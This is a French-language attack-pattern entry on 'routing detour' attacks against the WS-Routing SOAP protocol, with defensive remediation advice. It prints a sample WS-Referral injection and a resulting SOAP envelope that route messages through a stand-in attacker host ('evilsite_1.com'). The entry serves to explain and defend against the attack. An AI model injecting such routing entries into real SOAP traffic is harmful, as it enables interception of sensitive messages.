La description
Le WS-Routing Protocol est un protocole d'Ă©change de messages SOAP d'un expĂ©diteur de message initial vers un rĂ©cepteur, gĂ©nĂ©ralement via un ensemble d'intermĂ©diaires. Le protocole WS-Routing est implĂ©mentĂ© en tant qu'extension SOAP et est intĂ©grĂ© dans l'en-tĂȘte SOAP. WS-Routing est souvent utilisĂ© pour fournir un moyen de diriger le trafic XML Ă travers des environnements et des transactions complexes en permettant aux stations intermĂ©diaires du chemin XML d'attribuer des instructions de routage Ă un document XML.
En adoptant une approche minimaliste, WS-Routing encapsule un chemin de message dans un message SOAP, afin que le message contienne suffisamment d'informations pour ĂȘtre envoyĂ© sur Internet Ă l'aide de transports comme TCP et UDP tout en prenant en charge:
- Le modĂšle de chemin de message SOAP,
- ModÚles de messages unidirectionnels en duplex intégral,
- ModÚles de message en duplex intégral, demande-réponse, et
- Corrélation des messages.
Les dĂ©tours de routage sont un type d'attaque de type "l'homme au milieu" oĂč des intermĂ©diaires peuvent ĂȘtre injectĂ©s ou "dĂ©tournĂ©s" pour acheminer des messages sensibles vers un emplacement extĂ©rieur. Les informations de routage (dans l'en-tĂȘte HTTP ou dans l'en-tĂȘte WS-Routing) peuvent ĂȘtre modifiĂ©es en cours de route et les traces du routage peuvent ĂȘtre supprimĂ©es de l'en-tĂȘte et du message de sorte que l'application rĂ©ceptrice ne soit pas plus sage qu'un dĂ©tour de routage se soit produit.
ProblĂšme principal
L'attaquant injecte un nĆud de routage bidon (Ă l'aide d'un service WS-Referral) dans la table de routage de l'en-tĂȘte XML du message SOAP identifiĂ© lors de la phase d'exploration. Ainsi, l'attaquant peut router le message XML vers le nĆud contrĂŽlĂ© par l'attaquant (et accĂ©der au contenu du message)
Exemple d'injection WS-Routing basĂ©e sur WS-Referral de la route du nĆud faux
<r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example_2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite_1.com/router</r:via> </r:go> </r:ref>
Attaque de détournement de routage résultante
<S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example_2.com/router</m:via> <m:via>http://evilesite_1.com/router</m:via> <m:via>http://example_3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope>
Conséquence
Ainsi, en utilisant Routing Detour, l'attaquant peut router le message XML vers un nĆud contrĂŽlĂ© par un pirate (et accĂ©der au contenu du message).
Assainissement général
Conception: spĂ©cifiez le nombre maximal de nĆuds intermĂ©diaires pour la demande et exigez des connexions SSL avec authentification mutuelle.
Implémentation: utilisez SSL pour les connexions entre toutes les parties avec authentification mutuelle